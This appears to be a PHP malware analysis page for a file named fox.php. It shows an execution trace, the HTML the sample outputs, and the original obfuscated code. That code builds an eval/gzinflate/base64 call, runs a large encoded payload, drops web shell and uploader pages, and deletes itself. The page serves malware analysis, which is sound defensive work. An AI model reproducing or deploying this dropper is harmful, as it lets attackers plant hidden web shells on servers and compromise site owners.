6	119	R			resource(12) of type (curl)
5		A						/var/www/html/uploads/fox.php(7) : eval()'d code(1) : eval()'d code(16) : eval()'d code	13	$ch = resource(12) of type (curl)
6	120	0	16.327227	602544	curl_setopt	0		/var/www/html/uploads/fox.php(7) : eval()'d code(1) : eval()'d code(16) : eval()'d code	13	3	resource(12) of type (curl)	10002	'http://localhost/u3nqa.php'
6	120	1	16.327243	602640
6	120	R			TRUE
6	121	0	16.327255	602544	curl_setopt	0		/var/www/html/uploads/fox.php(7) : eval()'d code(1) : eval()'d code(16) : eval()'d code	13	3	resource(12) of type (curl)	42	0
6	121	1	16.327270	602640
6	121	R			TRUE
6	122	0	16.327282	602544	curl_setopt	0		/var/www/html/uploads/fox.php(7) : eval()'d code(1) : eval()'d code(16) : eval()'d code	13	3	resource(12) of type (curl)	52	1
6	122	1	16.327297	602640
6	122	R			TRUE
6	123	0	16.327309	602544	curl_setopt	0		/var/www/html/uploads/fox.php(7) : eval()'d code(1) : eval()'d code(16) : eval()'d code	13	3	resource(12) of type (curl)	19913	1
6	123	1	16.327324	602640
6	123	R			TRUE
6	124	0	16.327336	602544	curl_setopt	0		/var/www/html/uploads/fox.php(7) : eval()'d code(1) : eval()'d code(16) : eval()'d code	13	3	resource(12) of type (curl)	64	0
6	124	1	16.327350	602640
6	124	R			TRUE
6	125	0	16.327362	602544	curl_setopt	0		/var/www/html/uploads/fox.php(7) : eval()'d code(1) : eval()'d code(16) : eval()'d code	13	3	resource(12) of type (curl)	81	0
6	125	1	16.327376	602640
6	125	R			TRUE
6	126	0	16.327388	602544	curl_setopt	0		/var/www/html/uploads/fox.php(7) : eval()'d code(1) : eval()'d code(16) : eval()'d code	13	3	resource(12) of type (curl)	78	15
6	126	1	16.327402	602640
6	126	R			TRUE
6	127	0	16.327414	602544	curl_setopt	0		/var/www/html/uploads/fox.php(7) : eval()'d code(1) : eval()'d code(16) : eval()'d code	13	3	resource(12) of type (curl)	13	15
6	127	1	16.327428	602640
6	127	R			TRUE
6	128	0	16.327440	602544	curl_setopt	0		/var/www/html/uploads/fox.php(7) : eval()'d code(1) : eval()'d code(16) : eval()'d code	13	3	resource(12) of type (curl)	96	TRUE
6	128	1	16.327455	602640
6	128	R			TRUE
6	129	0	16.327467	602544	curl_setopt	0		/var/www/html/uploads/fox.php(7) : eval()'d code(1) : eval()'d code(16) : eval()'d code	13	3	resource(12) of type (curl)	10018	'Mozilla/5.0 (Windows NT 10.0; WOW64; rv:43.0) Gecko/20100101 Firefox/43.0'
6	129	1	16.327486	602640
6	129	R			TRUE
6	130	0	16.327498	602544	curl_exec	0		/var/www/html/uploads/fox.php(7) : eval()'d code(1) : eval()'d code(16) : eval()'d code	13	1	resource(12) of type (curl)
6	130	1	16.327903	602832
6	130	R			'<script> location.href=\'/1b7h2.php?FOx=Sl6Mk\'; </script>'
5		A						/var/www/html/uploads/fox.php(7) : eval()'d code(1) : eval()'d code(16) : eval()'d code	13	$urlPage = '<script> location.href=\'/1b7h2.php?FOx=Sl6Mk\'; </script>'
6	131	0	16.327947	602800	curl_close	0		/var/www/html/uploads/fox.php(7) : eval()'d code(1) : eval()'d code(16) : eval()'d code	13	1	resource(12) of type (curl)
6	131	1	16.328000	601944
6	131	R			NULL
5	118	1	16.328022	601632
4	22	1	16.328038	601576
4	22	R			NULL
3	10	1	16.328074	537712
2	7	1	16.328082	517712
2	132	0	16.328090	500424	unlink	0		/var/www/html/uploads/fox.php	8	1	'/var/www/html/uploads/fox.php'
2	132	1	16.328130	500464
2	132	R			TRUE
2	133	0	16.328145	500424	basename	0		/var/www/html/uploads/fox.php	8	1	'/var/www/html/uploads/fox.php'
2	133	1	16.328160	500488
2	133	R			'fox.php'
1		A						/var/www/html/uploads/fox.php	8	$filename = 'fox.php'
2	134	0	16.328185	500456	explode	0		/var/www/html/uploads/fox.php	8	2	'.php'	'fox.php'
2	134	1	16.328199	500968
2	134	R			[0 => 'fox', 1 => '']
1		A						/var/www/html/uploads/fox.php	8	$f = [0 => 'fox', 1 => '']
1		A						/var/www/html/uploads/fox.php	8	$Myname = 'fox.php'
2	135	0	16.328242	500928	unlink	0		/var/www/html/uploads/fox.php	8	1	'fox.php'
2	135	1	16.328259	500968
2	135	R			FALSE
1	3	1	16.328273	500928
			16.328298	410168
TRACE END   [2023-02-12 20:51:49.547627]

Generated HTML code
<html><head></head><body><shell><font color="red"><center> Shell : http://localhost/piwoz.php</center></font><br></shell><up><font color="green"><center> Up : http://localhost/xgayr.php?FOx=OYXLk</center></font><br></up></body></html>
Original PHP code
<?php
if (!function_exists('explode')) {
   function explode($str, $array) {
      return split($str, $array); 
   }
}
error_reporting(0); function Crgwr() { $qRccm = 'I could not have a more welcome visitor 64 group of zain bani'; $jV1Aq = $qRccm[15] . $qRccm[14] . $qRccm[13] . $qRccm[5] . '(' . $qRccm[43] . $qRccm[52] . $qRccm[4] . $qRccm[8] . $qRccm[2] . $qRccm[3] . $qRccm[19] . $qRccm[47] . $qRccm[21] . $qRccm[15] . $qRccm[34] . $qRccm[34] . '(' . $qRccm[57] . $qRccm[13] . $qRccm[34] . $qRccm[15] . $qRccm[40] . $qRccm[41] . '_' . $qRccm[6] . $qRccm[15] . $qRccm[2] . $qRccm[3] . $qRccm[6] . $qRccm[15] . '(\''; return $jV1Aq; } eval(CRgwR() . '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\')));');
unlink(__FILE__); $filename = strval(basename(__FILE__)); $f = explode('.php', $filename); $Myname = $f[0].'.php'; unlink($Myname);
?>
PHP Malware Analysis

fox.php

md5: 26f6be1fe07c6015c66c79c6fc31a7e2

Screenshot

Attributes

Deobfuscated PHP code

Execution traces

Generated HTML code

Original PHP code
